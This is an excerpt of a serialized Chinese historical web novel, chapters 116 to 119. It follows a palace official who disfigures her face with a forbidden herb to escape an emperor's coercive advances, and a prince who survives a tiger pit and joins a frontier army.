可这心疼背后,却是滔天的惧意,鬼面草…那是沾都不能沾的东西,一旦东窗事发,莫说是她与她的家人,便是整个司药司,都可能被碾成齑粉。 帮,还是不帮? 不帮,这姑娘或许就毁了。 可帮了,万一… 韩司药的手在宽大的袖中紧紧地攥着,她咬着牙,目光在周妙雅泪痕狼藉的脸与那本旧书之间来回逡巡,胸腔中像是有两股气力在撕扯,一寸寸,似要将她撕裂。 许久,她缓缓阖上了双眼,深深吸了一口气。 再睁眼时,她眸色澄亮,似已下了某种决心。 她俯下身,将周妙雅搀了起来,声音压得极低:“司药司…确藏有一株鬼面草,是早年南疆进贡时留下的,封在库房最深处,记在已销毁的册子上。” 她盯着周妙雅的眼睛,目光锐利如刃:“我可以告诉你它藏在何处,但你需得记住,今夜你没有来过司药司,我也没见过你,那草是你自己偷的,你从不知世上有鬼面草这种东西。若事发,你只管咬死不知,或许…还能留条性命。” 周妙雅浑身一震,她抬眼望着韩司药,嘴唇翕翕合合的,却发不出声音。 “听明白了?”韩司药又问一遍,声音更沉。 周妙雅用力地点了点头,眼泪又涌出来,她再次跪下,却没有磕头,只是伏在地上,肩头轻轻颤抖,喉间溢出压抑的呜咽:“妙雅…叩谢韩司药救命之恩。” 韩司药别过脸去,不忍再看。 她快速说了藏药的位置与库房锁钥的机关,末了,还不忘低声叮嘱道:“先回去,等夜色浓透,女官们都睡下,你再悄悄潜去。” 周妙雅站起身,用袖子狠狠抹了把脸,朝韩司药深深一揖,转身便没入门外的夜色中。 韩司药站在原地,听着那脚步声远去,直至彻底消失。 她低头看了看手中那本《南疆采药异闻录》,沉默了良久,终是走到明角灯旁,将书页凑近火焰。 火舌迅速舔了上来,顷刻间便吞没了那些关于鬼面草与玉容散的字迹,书页化作灰烬,簌簌落下。 第117章 辽东行省, 海州码头。 朱弘毅与长安站在岸边,望着眼前那片灰蒙蒙的海,一眼望不到尽头。 初冬的海风呼啸而过, 如刀子般割得人脸上生疼。 浪头随风卷来, 白花花地扑向岸边的礁石, 瞬间碎作雪沫。 “客官赶得正是时候。” 船夫是个五十来岁的汉子,脸膛被海风吹得黝黑发亮,他一边收着缆绳,一边拿眼打量着眼前这两位客人。 他二人虽穿着与寻常渔民无异的粗布短褐,头戴斗笠,可周身散发出的气度,一眼便能瞧出不是打渔的, 倒像是…逃难的贵人。 “若是再晚几日的话…” 船夫朝海面啐了一口:“这鬼天气,说封海就封海, 便是神仙也出不去。” 朱弘毅没接话, 只递过去了一小锭银子。 那船夫接了银子,在手心里掂了掂,又用牙咬了咬, 分量不轻。他心中暗忖,出手这般阔绰, 定是权贵出身没错了。 他将银子收入怀里,小心翼翼地试探问道:“客官, 是要去皮岛?” 朱弘毅抬眼看了他一眼,微微颔首。 他眼神很静, 没什么情绪,却让船夫后颈莫名一凉。 那船夫咽了口唾沫,搓着手, 话在嘴边滚了几滚,不知当讲不当讲… 犹豫了半晌,最终还是吐了出来:“客官恕小的…多句嘴,皮岛上那位张大人,对咱们这些苦哈哈的渔民,逃难的百姓,那是没得说,给饭吃,给衣穿,是个真菩萨,可…” 话说到一半,他抬眼觑了觑朱弘毅的脸色,见他仍是无波无澜,复才继续说道:“可张大人最恨的,就是上头下来的贵人,还有北边那些畜生。小的见客官气度不凡,出手阔绰,若…若客官是那京城来的贵人,上了岛,只怕…凶多吉少。” 长安听到这话,瞬间眉头皱紧,他欲要上前半步,却被朱弘毅抬手拦下。 “船家好意,心领了。” 朱弘毅的声音混在海风中,依旧笃定:“开船吧。” 船夫见他这般,知是劝不住,只得叹了口气,摇摇头,转身解缆绳去了,嘴里低声嘟囔着,也不知是惋惜还是旁的什么。 船靠岸时,皮岛的码头上正在卸货。 卸货的汉子穿着短褐,皮肤晒的黝黑,正将成筐成筐的海鱼,装满麻袋的杂粮,耕地劳作用的铁器从船上往下搬。 朱弘毅踩上栈桥,脚底木板咯吱作响。 他环顾四周,岛上城墙高耸,光是瞭哨就设了三层,放眼望去,不似流寇扎的寨子,俨然一副军营模样。 “什么人?” 两个汉子气势汹汹,迎面走来,拦住了他二人的去路。一个约么三十出头,脸上有道旧疤,从眉梢一直拉到颧骨,另一个年轻些,将手按在刀柄上,眼神警惕得像一头巡山的狼。 长安抢前半步,拱手一礼,指了指身后从船上卸下的麻袋, 沉声道:“我们是海州府贩粮的商人,偶然得了这西洋物种,说是耐寒高产,故而特来求见张大人,看有没有兴趣做这笔买卖。” 疤脸汉子上下打量了他一番,又越过他,瞥向后面那几个鼓囊囊的麻袋。 随即,他噗嗤一声冷笑道:“西洋粮食?头回听说。” 说罢,他便冲着年轻那个使了个眼色。 年轻那个得了令,立即绕到侧面,反手一掀,麻袋口当即就松了,金黄的玉米粒滚出了几颗,骨碌碌地落在了地上。 只见他皱了皱眉,弯腰拈起一颗,搁在齿间咬了咬。 确实是他们没见过的东西,可是不是粮食…这谁能说得准? 刀疤汉子上下打量了一番一直站在后面没说话的朱弘毅,心里暗忖:此人气度不凡,很像是京里来的探子,莫不是锦衣卫伪装成粮商,借个幌子便想进皮岛? 他招了招手,将年轻汉子唤回,附耳低语了几句。 四下里忽然静了。 只见刀疤脸汉子猛一抬下巴,年轻汉子随即抽刀,暴喝道:“拿下!” 霎时间,四面八方涌出十数名兵士,将朱弘毅与长安团团围住。 长安抢前一步,挡在朱弘毅身前,喝道:“你们什么意思?” 朱弘毅却神色不动,只抬手按住长安肩头,示意他莫要冲动。 那刀疤汉子根本没理会长安的喝问,只朝围上来的手下挥了挥手。 几人立刻扑了上来,麻绳兜头落下,将朱弘毅与长安双手反剪背后,捆得结实,随后将一团破布塞进了两人的嘴里,咸涩的粗布抵着舌根,呛得人几欲作呕。 朱弘毅没有挣扎,他冲长安点了点头,也示意他莫要轻举妄动。 他任由那些人将自己推搡着往前,脚下虽踉跄了几步,但很快便稳住了身形。 隔着人群,他瞥见另一拨人扛起了装着玉米和土豆的那几个麻袋,往岛深处去了。 两拨人往两个方向走去。 他和长安被推搡着,路越走越偏,海腥味逐渐淡了下去,取而代之的是一股浓烈的,腐烂的腥臭,混着野兽身上特有的膻气。 须臾,他们被带到了一处铁栅栏门前。 兵士粗暴地嘎吱一声把门拉开,门上生锈的铁轴发出尖锐的声响。 朱弘毅背上被猛地一搡,随即便跌跌撞撞地扑进了门内。 身后,长安也被扔了进来。 铁门随即咣当一声被阖上。 待那群兵士走了之后,门内霎时陷入一片死寂。 朱弘毅撑起身,环顾四周,这是个两丈见方的石坑,坑底铺着干草,干草上散落着啃净的骨头,白森森的,在昏暗中泛着冷光。 石坑深处,角落里,赫然趴着一头猛虎。 那只老虎似听见了动静,耳朵转了转,却没起身,只懒懒地撩起眼皮,一双黄褐色的眼瞳扫过了这两个新来的活物。 朱弘毅没动,当务之急,是要解开身上的束缚。 他靠着石壁,慢慢将嘴里的破布吐了出来,大口大口地喘了几口气。 长安也轻轻挣着挪了过来,背对着他,摸索捆在腕上的绳结。 虎园中很静,只听得到老虎粗重的呼吸声,似是捕食前最后的蛰伏。 ———— 乾清宫内,丹香环绕。 周妙雅跪在大殿正中央,面纱覆着半张脸,只露出一双低垂的眼。 她已在乾清宫跪了一炷香的时间。 大殿内极静,唯有自鸣钟滴答,滴答的声音,走得像永不停歇。 周妙雅的膝盖跪得从刺痛变得麻木,后背却绷得笔直,不敢在御前有一丝松懈。 “周司典。” 魏琰的声音从她侧首阴恻恻地传来,像淬了冰的寒刃: “面圣而不露真容,可是对陛下的大不敬,周司典在六尚局当差这么久,难道连这点规矩都不懂么?” 周妙雅垂着头,未应声,只默默将额头抵得更低。 魏琰气急败坏:“咱家问你话!小小女官,竟敢如此放肆!” “大伴。” 御座上传来了一道懒洋洋的声音,不高,却自带威严: “退下。” 魏琰连忙闭嘴噤声,卑微弓身,眼底的阴鸷一闪而过,随即便敛得干干净净。 他转身退出了大殿。 泰和帝慵懒地靠在椅背上,单手撑着额角,神色有些倦怠。 他望着殿中那道跪在地上的纤细倩影,半晌,才开口: “近前来。” 周妙雅的脊背骤然僵了一瞬。 她缓缓起身,膝头酸软得几乎站不稳,向前挪了两步,复又低下头,停在那里。 “再近些。” 她又挪了两步。 “到朕跟前来。” 周妙雅抬眸,一双水亮亮的眸子不解地望着御座上的帝王。 泰和帝冲她微微笑了笑,抬手指了指自己脚下,示意她近前。 周妙雅无法,只得又往前挪了挪,跪在了泰和帝所指之处。 近在咫尺,泰和帝抬起手,指节分明的手指搭上她鬓边垂下的面纱边缘。 周妙雅下意识往后一缩,那手指却顿住了。 “怕什么?” 他的声音很轻,带着几分稀薄的温存与玩味。 “朕想起来了。” 周妙雅垂着眼,睫毛轻轻颤了颤。 “周妙雅。” 泰和帝将手收回,慢慢摩挲着拇指上的玉扳指,缓声道:“朕赐过你一块御笔亲书的天下第一才女匾额。” 周妙雅忙叩首:“下官才疏学浅,蒙陛下厚爱,实受之有愧。” 泰和帝看着她,笑了笑:“你是女官大考的魁首,那篇《坤维正则乾纲固》,朕亦读过,印象深刻。如今才忆起,是出自你的笔下。” 周妙雅的睫毛颤得更厉害了,她没有抬头,也没有应声,只一味将头埋得更低。 泰和帝看着她整个人伏在地上的样子,忽然玩味地笑了一下。 “把头抬起来。”他命令道。 她没敢动。 泰和帝随即俯身,伸出手,这一次他没有停顿,直接捏住了她的下巴,将她整张脸挑了起来。 周妙雅被迫抬眼,对上了御座上那双深不见底的眼。 泰和帝舔了舔唇,眼中审视与兴味交织,更掺着幽深与彻骨的凉薄。 他玩味地审视着她,目光从眉眼描到鼻尖,再落到覆着面纱的下半张脸隐约起伏的轮廓上。 半晌,他抬手,指尖搭上了面纱的边缘。 这一次,周妙雅下颌被禁锢着,彻底躲无可躲。 面纱被揭开,无声地落在了脚边。 烛火映着那张脸。 左颊从颧骨到下颌,红肿溃烂,隐隐渗出淡黄色的清液,在烛光下泛着湿亮又骇人的光。 右半边脸却仍是原来那副清丽动人的模样,眉如远山,眼含秋水,烛光映在脸上,犹是一块温润的美玉。 泰和帝的目光落在了那片溃烂之上,眉头微皱,停了一瞬。 半晌,他抬起手。 周妙雅几乎是本能地偏过头去,声音发着颤,像濒死的雀儿求饶:“陛下…此乃恶疮,恐污圣目。” 只见那根手指在半空中顿了顿,并未落上她的伤处。 它偏了方向,径直落在了她的唇上。 指腹压住下唇正中,轻轻一碾,唇肉陷了下去,又弹回来,被他揉出了一层薄薄的水光。 周妙雅霎时整个人都僵住了。 她一动也不敢动,那根手指沿着她唇线慢慢游走,从左描到右,描得极慢。 被他这样来回揉着,唇肉渐渐软了,烫了,泛出饱胀的红,水光艳艳,像被揉碎的樱桃。 她死死咬着牙,身上止不住地颤抖着。 半晌,他停了揉弄,将指腹抵上她的齿关,轻轻一撬。 牙关松了。 他将 指腹探了进去,压住了她的舌尖,不是挑逗,而是惩戒。 她的呼吸霎时全乱了。 喉咙里溢出一声含糊的呜咽,像是在求饶说不要,又像是受不住这折磨,忍到极处发出的气音。 他没有停。 那根手指从她唇间退了出来,带出一缕涎水。他漫不经心地在她的颊边抹净,又覆了上去,这一次是整个拇指,压着她下唇,从左到右,缓缓碾过。 她的唇被他揉得烂熟,水光潋滟,像在汁液里浸过一般,微微肿了起来,红得触目惊心。 “陛下…” 她终于发出声音,涩得像含了一把沙。 “不要这样…” 泰和帝冷漠地垂眼看了看手中握着的人儿。 睫毛湿了一片,不知是汗是泪,整张脸烧得厉害,连那半边溃烂的伤处都泛着病/态的红。 像是审视够了,他忽然收回了手。 周妙雅伏跪下去,额头抵着冰冷的地面,大口大口地喘着气,像是一条被掷上岸的鱼。 御座上突然传来了一声极轻的笑。 “哦?” 泰和帝捻着指腹上残留的湿意,漫不经心道:“不要怎样?” 待皇后带着司药司的医女走进大殿时,见泰和帝已慵懒靠回椅背,周妙雅跪在他脚边,额头触着地,浑身止不住地打着颤。 泰和帝眼底那点难得的兴致,已褪尽了,此刻只剩疏离的淡漠。 “陛下。” 皇后的声音不高,却像一道寒流,将殿内那点残存的旖旎冲得七零八落: “臣妾听闻周司典染了恶疾,此等容颜,已不宜在御前侍奉,请陛下准臣妾将其领回,待医治痊愈,再议当差之事。” 殿内静了片刻。 泰和帝垂着眼,拇指慢慢摩挲着玉扳指,眼神落在某处虚空,神态倦极。 “去吧。” 他抬手挥了挥,像挥开一缕缠上袖口的蛛丝:“将她带走,治好再说。” 周妙雅叩首谢恩,额头触地,冰凉坚硬。 她撑着地缓缓起身,膝头酸软得几乎站不稳,眼前一阵发黑。 她没敢抬头,更没敢看御座上的那个人,只低着头,一步一步,退向了殿门外。 第118章 辽东, 皮岛,中军大营里,炭火烧得正旺。 张文龙坐在上首, 正与几个副将对着舆图议事。 只听得帐外忽然传来一阵嘈杂的脚步声, 他皱着眉抬起眼, 正见刀疤汉子领着几人,扛着麻袋闯了进来。 “大人。” 刀疤汉子抱拳,脸上带着邀功的神色:“属下在码头截了两个形迹可疑的,像是京里来的探子,这是他们带的货。” 他一挥手,几个兵士将肩上扛着的麻袋撂在了地上。 张文龙没说话,他起身, 走到麻袋旁,抽出腰间的佩刀, 将刀尖捅进了麻袋, 往下一划。 哗啦一声,玉米粒泻了一地,骨碌碌地四散开去, 有几粒滚到他的靴边,停了下来。 张文龙垂眼看着那些金黄的颗粒, 眉心拧成了疙瘩:“这是什么东西?” 那刀疤汉子瞧着张文龙神色不对,忙支吾答道:“回…回大人, 听那两个探子说…说是什么…什么西洋农作物。” 张文龙白了他一眼,随即蹲下身, 拈起一粒玉米,对着光仔细瞧看。 西洋农作物… 他猛然想起前不久,曾收到徐明阳的来信, 信中提到他在天津卫种植的西洋作物已颇具成效,不日将由他的门生带去辽东试种。 张文龙向来不爱与京城的权贵往来,但徐明阳不同。 他知道徐明阳已致仕,且为官时便不慕权贵,也知道周承山生前,与徐明阳交好。 张文龙起身,沉默了片刻,他思虑着,莫非手下说的那两个探子,便是徐明阳信中所说的门生? “人呢?”张文龙蹙眉问道。 那刀疤汉子咧着嘴,掩饰内心的慌乱:“回…回大人,关虎园里了。” 张文龙的眉头皱得更紧,他横了那刀疤汉子一眼,啐道:“还不带路!” 那刀疤汉子忙躬身做小伏低道:“是…是…大人。” 当虎园的门被一脚踹开时,张文龙看见的是一地狼藉。 地上铺的干草七零八落地散着,石壁上溅着大片的血迹,浓烈的血腥气扑面而来,冲得人眼眶发酸。 只见一个年轻的男人骑在老虎的尸体上,那虎喉被割开长长一道口子,鲜血汩汩往外涌,已然没了气息。 那男人将衣袖挽至小臂,手肘以下全是血,正低着头,用匕首沿虎皮边缘游走。 他听见动静,停下手,抬起头。 额发垂落了几缕,被汗浸湿,贴在眉骨上。 男人面容英俊,目光沉静,无劫后余生的惊惶,亦无杀生后的戾气,只有一股淡淡的笃定。 张文龙站在门口,身后跟着一群持刀的亲兵,那刀疤脸汉子也赫然在列。 朱弘毅目光从他身上挪开,掠过他身后那群人,又落在被踹开的铁门上。 随即,他将匕首在虎皮上蹭了蹭,拭去血迹,然后慢慢起身,从虎尸上跨了下来,站定了,抬手一拱: “敢问阁下,可是张文龙张将军?” 那刀疤脸的汉子按捺不住了,从张文龙身后闪出,叫嚣道:“你这小奸细,我们将军的大名也是你能叫的?” 张文龙抬手,示意他安静。 那汉子才只得悻悻地往回站了站。 张文龙的目光落在朱弘毅身上,上上下下仔仔细细地打量了一番。 半晌,他开口道:“你是徐明阳的门生?” 朱弘毅点了点头。 随即,他将匕首插回腰间,低头看了看自己满手的血,像是不太满意,又在衣摆上蹭了蹭。 那粗布短褐原是灰蓝色的,此刻已被老虎的鲜血浸透了大半,蹭也蹭不干净。 他抬首,笑了笑,带几分无奈:“张将军,能否借一步说话?” 张文龙抬手,冲身后人道:“先退下。” 刀疤脸汉子一脸不情愿:“大人!当心有诈!” 张文龙没理会他,只抬手将铁门阖上,又看了一眼蜷在角落里的长安。 朱弘毅笑了笑:“他与我是一起的,无妨。” 铁门内,此刻寂静得针落可闻。张文龙瞥了朱弘毅一眼,道:“阁下有什么话,来皮岛是何目的,不妨直说。” 朱弘毅只是淡定地抬手,伸进了贴身的里衣,从中摸出了一样东西。 是一枚玉佩。 他将玉佩递过去。 张文龙接过玉佩,细细端详着。 那隽秀而苍劲的笔力,深深镌刻的小篆“周”字,他此生都无法忘记。 喉结剧烈滚动,捧着玉佩的双手微微发颤,那双饱经边关风霜的眼,竟渐渐湿润了起来。 良久,他抬眼,死死盯着朱弘毅:“你这毛头小子,为何会有这枚玉佩?” 朱弘毅见他已动容,平静道:“在下除了是徐师傅的门生外,还有一个身份。” 张文龙问:“是何?莫要卖关子。” 朱弘毅唇角微微一扬:“在下是周承山周大将军的准女婿,故而才有这枚玉佩。” 张文龙看了看他,仰天长笑:“哈?周承山的女婿?周承山,哪来的女儿?” 朱弘毅笃定道:“也对,张将军看来是不知道谢夫人生龙凤胎的事情,当年那女婴被周府的忠仆救了下来,被送到了江南寄养。” 张文龙沉默了。 龙凤胎的事,周家军旧部里知者不多,而他恰恰是其中之一。 他抬眼盯着朱弘毅,目光复杂得像是一锅煮沸的开水。 “你小子,胆子大得很啊。” 朱弘毅没答话。 “一个人,一把刀,就敢来闯我皮岛。” 朱弘毅仍没答话。 “还敢杀我的虎。” 张文龙迈步向前,绕过虎尸,走到朱弘毅面前,两人隔着一臂的距离,他上下打量这满身是血的年轻人。 朱弘毅便任由着他打量,不躲不闪。 半晌,张文龙忽然笑出了声:“徐明阳信中可是写得分明,他那门生,便是当今圣上的亲弟,宁王殿下。” 他一字一顿,咬得死紧:“宁王殿下,周将军的准女婿,徐先生的门生,你一个人便占了三条绝路,还敢往我皮岛闯!” 说罢,他玩味地轻笑道:“你说,我该拿你怎么办?” ———— 周妙雅被皇后从乾清宫带了出来。 膝头是软的,腿还在抖。 她不知自己是怎么从那大殿里走出来的,还能一路跟着皇后回到坤宁宫。 一进了坤宁宫正殿,皇后立马屏退了左右。 周妙雅径直跪了下去。 膝盖砸在冰冷的地面上,发出一声闷响。 “下官叩谢皇后娘娘救命之恩。” 她额头抵着地,声 音发颤,却一字一顿,咬得十分清楚。 顾云舒就那样站着,垂眸看着她。 半晌,她突然长长叹了一口气。 而后,她弯下腰,双手扶住周妙雅胳膊,将她搀起: “起来吧。” 顾云舒的声音有些沙哑,她眼眶微红,面上却依旧是那副沉稳的模样,叹道:“终究是本宫亏欠你太多。” 周妙雅抬起头,望向皇后,她眼眶红着,却不敢让眼泪落下来。 晶莹的泪悬在睫毛上,颤了颤,硬生生地又被她逼了回去。 顾云舒看着她的眼睛,缓声道:“昔日本宫中逍遥散之毒,是你救了本宫,任容妃利用蹴鞠陷害本宫,亦是你替本宫洗清冤屈,证本宫清白。” 说到这里,她顿了顿,握着周妙雅手臂的手又收紧了许多:“本宫都记得。” 周妙雅忙垂下眼,睫毛上的那滴泪终是落了下来,砸在地上,转瞬不见:“这都是下官应该做的。” “应该做的?” 顾云舒苦笑了一声,那笑中带着几分说不清的情绪,似自嘲,又似无奈。 “这宫里,有几个能把应该做的,做到你这个份上的?” 她话音刚落,旋即便拉着周妙雅的手,让她在暖榻边坐下。 周妙雅半边身子僵着,不敢坐实,只沾了个边,脊背挺得笔直,像是随时准备跪回去的样子。 顾云舒看着她那张脸。 烛火映着,左颊从颧骨到下颌,红肿溃烂,看着都疼。 她的目光在那伤处停了一瞬,眉心蹙了蹙,复又松了开。 “韩司药都同本宫说了,鬼面草的事。” 顾云舒压低声音,凑近了些,几乎贴着周妙雅的耳畔。 周妙雅浑身剧烈颤了下。 那颤是从骨头缝里渗出来的,一瞬间全身都僵了,膝盖一软,就要从暖榻边滑了下去… 顾云舒一把将她拽住,她的手很用力,紧紧攥着她的小臂,指节硌得她生疼。 她随即开口道:“别跪,本宫不是要问你的罪。” 周妙雅旋即坐回了暖塌上,泪水汹涌滚落了出来,落到左脸的伤处,蛰得她生疼,却也顾不上拭泪。 顾云舒没有催她,只是等她渐渐平复下来。 等那眼泪流了一阵,周妙雅才抬起手,用袖子胡乱抹了抹脸,袖子蹭过伤处,疼得她倒抽了一口冷气。 良久,顾云舒复又叹道:“宁王与凌哥儿之前都曾嘱托本宫照拂于你,本宫即应了他二人,便该说到做到。” 周妙雅闻言,抬起眼,看向顾云舒。 只听顾云舒笃定道:“从今日起,你就在坤宁宫待着,大门不出,二门不迈。” 周妙雅怔了怔,眼中露出一丝不解。 顾云舒看着她,目光深沉:“你那张脸能恢复的事,不能让任何人知道。记住本宫的话,任何人,都不行。” 周妙雅心下里已全然明白,如今,毁容便是她的护身符。 她顶着这张溃烂的脸,泰和帝看了,皱着眉头,手落下来时,才偏了方向,落在了她的唇上。 如果这张脸是完好无损的… 她简直不敢再想下去。 “下官明白,多谢娘娘。”周妙雅起身,向皇后福了一礼。 顾云舒没再说什么,她只看着周妙雅,目光里有心疼,亦有无奈。 半晌,她抬起手,轻轻拍了拍周妙雅的肩。 “经历了这些,你也累了,先回去好生歇着吧。”—— 作者有话说:朱弘毅你可以啊!对外都给自己打女婿标签了 第119章 周妙雅回到自己在坤宁宫的居所, 掩上门,又将窗一扇扇拉好。 室内的光线逐渐黯淡了下来,屋内只剩她一个人的呼吸声。 从现在起, 她要履行对顾云舒的承诺:大门不出, 二门不迈。 这是在保护她自己, 也是在保护与她同一条船上的韩司药与皇后。 黑暗中,她在铜镜前坐下,怔怔地望着镜中的那张脸。 刚刚她已服下了玉容散,只需半个时辰之后,她的容貌就可以恢复原样。 她就这样在黑暗中静静地坐着,脑海中却翻涌出纷乱的思绪。 她的脸毁了,泰和帝都要那般折辱她。 若是没有鬼面草, 若是这张脸完好无损地呈至御前… 周妙雅闭上双眼,那只手落在唇上的羞辱感又回来了。 压着, 描着, 撬开齿关,压住舌尖,指腹抹过津液, 再碾过来… 她跪在那里,浑身僵着, 抖着,不敢动, 也不能动。 那是皇权下极致的压迫,她不敢再想。 若是这张脸是完好无损的, 那么等待她的,将会是在龙榻上,成为他泄欲的工具。 到时候, 就没有人能救得了她。 她此刻唯一的护身符,便是这张毁了的脸。 可这谎言究竟能撑多久? 皇后能护得了她一时,能护得了她一世吗? 周妙雅望着镜中那张逐渐变得完好如初的脸,忽然觉得它像一枚随时会炸开的火雷。 上次配好的鬼面草,还能支撑她再挺几次,若在她闭关期间发生什么意外,还够她再遮掩几次的。 可这之后呢?鬼面草只有一株,药也有用尽的那日,届时她要是再想遮掩,可就无处可遮了。 她不敢再想下去,她此刻只能赌,赌皇帝对她失了兴趣,赌朱弘毅能早日从辽东归来。 半个时辰后,玉容散果然生效。 此刻她脸上已看不出半点溃烂的痕迹,镜中人眉目依旧,肌肤光洁,仿若那场毁容只是一场噩梦。 她看着镜中人,镜中人也在看她,眼底带着她从未见过的恐惧。 她不怕死。 她怕的是,死之前要先经历那些不堪与羞辱。 谎言被戳破的那日,她会万劫不复。 可她没有别的路可走。 她只能坐在这里,守着这个谎言,守着这张脸,守着这不知还能撑多久的日子。 直到窗外最后一缕天光也沉了下去。 周妙雅仍坐在黑暗中,望着镜中自己那个渐渐变得模糊的轮廓。 又不知过了多久,她突然站起身。 腿有些发麻,她扶着桌案立了一会儿,等那阵酸麻劲儿过去,才慢慢走到了墙角的柜门前。 她将柜门拉开,里头堆的都是平日里换洗的衣裳 ,寻常得很,任谁来翻也翻不出什么。 她随手将衣裳拨开,把手探到了柜子的最深处,触到了那个冰冷却让她心安的东西。 是艾儒略在汤山时送她的那把西洋燧发火铳。 她将它从柜子深处掏了出来,握在手中,沉甸甸的,只觉一股凉意顺着掌心袭来。 那日得知朱弘毅要远赴辽东,她不顾一切跑去宁王府送别,回来的时候,便悄悄从王府把这只火铳带了回来,好在那日守宫门的侍卫是顾凌云的老部下,认识她,知道她是北镇抚司验白骨的那个女官,所以没有细细查她。 当时她没有多想,只觉得宫里处处刀光剑影,她需要一件能握在手里防身的东西。 昔日在汤山,朱弘毅手把手教她如何装药,压实,瞄准,扣扳机… 他曾握着她的手,扣动扳机,正中靶心。 此刻她手里死死地攥紧了那只火铳,直攥得手指血色尽失。 铜镜中映出她的影子,昏暗的光线下,那影子也攥着同样东西,立在原地,一动不动。 大不了,便玉石俱焚。 可转念一想,她又将手中的火铳放了下来。 那是他的哥哥,从小到大对他最好的哥哥。 如果他面对这样的局面,一边是至亲之人,一边是挚爱之人,他会如何抉择? 二郎,你告诉我,如果是你,你会怎么做? ———— “宁王殿下于镇远堡遇袭,被北狄人所俘,下落不明。” 消息传回京城,魏琰在司礼监值房内,唇角上扬,已掩不住内心的雀跃。 他将这句话念了三遍,一字一字地念,念到最后竟笑出了声。 “来人,去请康大人,就说咱家邀他一同按脚。”他对着手下吩咐道,尾音都带着兴奋的颤。 不过一炷香的时间,康敏之便来到了经常同魏琰一起按脚的那间厢房。 两人在厢房里对着那本奏章,笑了好一阵子。 魏琰让人烫了壶酒,康敏之推说夜里不当饮酒,却还是接了杯子。 “天意。” 魏琰仰首,将杯中美酒一饮而尽,笑道:“这可真是天意啊,康大人。” 康敏之没有接话,只将奏章又看了一遍,确认了奏章上的信息:宁王于镇远堡遇袭,为北狄所俘,下落不明。 “北狄那边可有消息?”半晌,他抬首,谨慎问道。 “正在打探。” 魏琰话音未落,又给自己斟了一杯酒:“不过康大人,这事儿还用打探吗?镇远堡那地方,三面是敌,一旦落进去,还想活着出来?” 康敏之放下手中酒杯,起身走到窗前,背过手,凝视窗外片刻,终是开口道:“圣上那边,明日早朝,便要报上去。” “报。” 魏琰笑得眼都眯了起来:“当然要报,这是军情,谁人敢瞒?” 次日早朝,奏章被递到了御前,泰和帝震怒,当着文武百官的面,将奏章狠狠摔在了地上。 殿上文武百官垂首而立,没人敢抬头看他的脸色。 有胆大的后排官员窃窃私语着:“简直丢人现眼,又一个土木堡啊…” 泰和帝气得从御座上站了起来,指着兵部尚书的鼻子喝道:“找!派人给朕去找!便是掘地三尺,也要把人给朕寻回来!” 兵部尚书当即扑通一声跪倒在地:“回…回陛下,镇远堡一役后,北狄骑兵便撤了,我军派人去搜过,没有…没有找到宁王殿下。” “那便再找!” 泰和帝龙颜大怒,已抑制不住歇斯底里:“活要见人!死要见尸!给朕去找!” 兵部尚书连连叩首:“臣遵旨,臣即刻派人去找。” 泰和帝怒气未消,随即又喝道:“传朕旨意,着辽东各卫所,全力搜寻宁王下落,但凡有消息,即刻八百里加急,飞报入京。” 圣旨当场拟就,用了印,发了出去。 可圣旨根本出不了京城。 魏琰亲自督办此事,将圣旨扣在了司礼监,说要核实细节,便是一日又推一日,最后只推脱说:“辽东那么大,搜一年是搜,搜十年也是搜,宁王福大命大,不急在这一时。镇远堡那地方,你们也知道,派人去搜,派多少人?军饷从哪出?万一搜时北狄打过来,谁来担责?” 兵部的人审时度势,魏公公既这么说了,便也拖一日,是一日,最后竟无人再提及此事。 如意几乎是含泪哽咽,将宁王失踪被俘的消息传回了坤宁宫。 “娘娘…” 如意红着眼眶,声音发颤:“宁王殿下他…” “住口。” 顾云舒声音不高,却自带威仪,让如意生生把后半句咽了回去。 “这种话,本宫不想再听第二遍。” 如意扑通一声跪了下去,不敢再言。 顾云舒沉默了片刻,才道:“周司典那边,一个字也不许说,明白吗?” 如意抬头,愣了一下。 “她那边,谁也不许透露半个字。” 顾云舒看着她,一字一顿:“让她安安心心在屋里养病,养一日是一日,养一月是一月,外头的事,与她无关,明白吗?” 如意叩首:“奴婢明白。” “去吧。” ———— 与京城的幸灾乐祸相比,辽东的白山黑水间,此刻却是另一番景象。 海州城外,皮岛军正在扎营。 那营盘扎得讲究,背靠山丘,前临溪水,拒马桩埋了三层,哨楼立了四座。 炊烟升起时,有百姓远远站在林子里看,看了一会儿,便有胆大的慢慢走近。 一个伙头兵正在溪边洗锅,抬头见来人,只点了点头,继续洗。 “你们是张文龙张大人的兵?”来人是个老汉,瘦得颧骨高耸,说话时嘴里漏风。 “是。”那伙头兵把锅翻了过来,用沙土蹭着锅底的黑灰。 “我听说…听说你们发粮?”那老汉小心翼翼地问道。 伙头兵停下手里的活,抬头看了他一眼,往营盘那边指了指:“伙房在那头,你到那边找那个穿灰袄的,他是管粮的账房。” 只见那老汉楞在那里,眼中已噙着泪:“你们…真管饭啊?” 那伙头兵笑了笑:“是啊。” 说到这里,他好像想起了什么。 只见他把锅往地上一撂,起身从怀里摸出半个饼子,递给老汉:“老人家,你先吃这个垫垫,这会儿伙房还没开,等开了再去领,能领一整块。” 那老汉看着那半个饼子,手抖得厉害,接过去时,激动的差点把饼子掉在地上。 营盘深处,最大的那顶帐篷里,几个人正围在一张简陋的木案前,激烈地讨论着。 张文龙站在案边,手指点着一份手绘的地图,地图画得潦草,山川河流只是几笔线条,关键的几处城池,却用朱砂圈了又圈。 众人议论正酣时,只见一个戴着面具的玄甲少年走了进来。 少年一进大帐,便摘了面具,露出后面那张英俊的脸。 他走到张文龙面前,拱手一拜:“大人,海州城守军已清点完毕,剩余的八千守军因久不满李道远与高第,如今已尽归我军麾下。” 张文龙上前,拍了拍他肩膀,笑道:“小子,干得不错,我军在海上漂泊多年,如今能拿下海州城,在陆上站稳脚跟,你自当功不可没。” 朱弘毅忙自谦道:“大人谬赞了。” 张文龙身边的将领却抢先道:“哎,周小兄弟莫要自谦,咱皮岛军向来公私分明,谁立的军功多,老子就服谁。” 朱弘毅恭谨地笑了笑,如今他已化名周毅,是张文龙麾下的一名将领,因上阵戴着面具,杀伐决断,所向披靡,又被人称作蒙面将军。 张文龙负手踱回案边,又细细端详起地图来,半晌,他抬首问朱弘毅:“接下来,往北打还是往西打?” 朱弘毅没立刻接话,只是抬手一指,落在海州左侧的一个圈上。 牛庄。 张文龙看了一眼,又抬眼看他:“牛庄?那可是辽河套的咽喉,打下来容易,守得住?” “守得住。 “朱弘毅笃定道。 张文龙盯着他看了一会儿,忽然“嗤”了一声,也不知是笑还是叹。 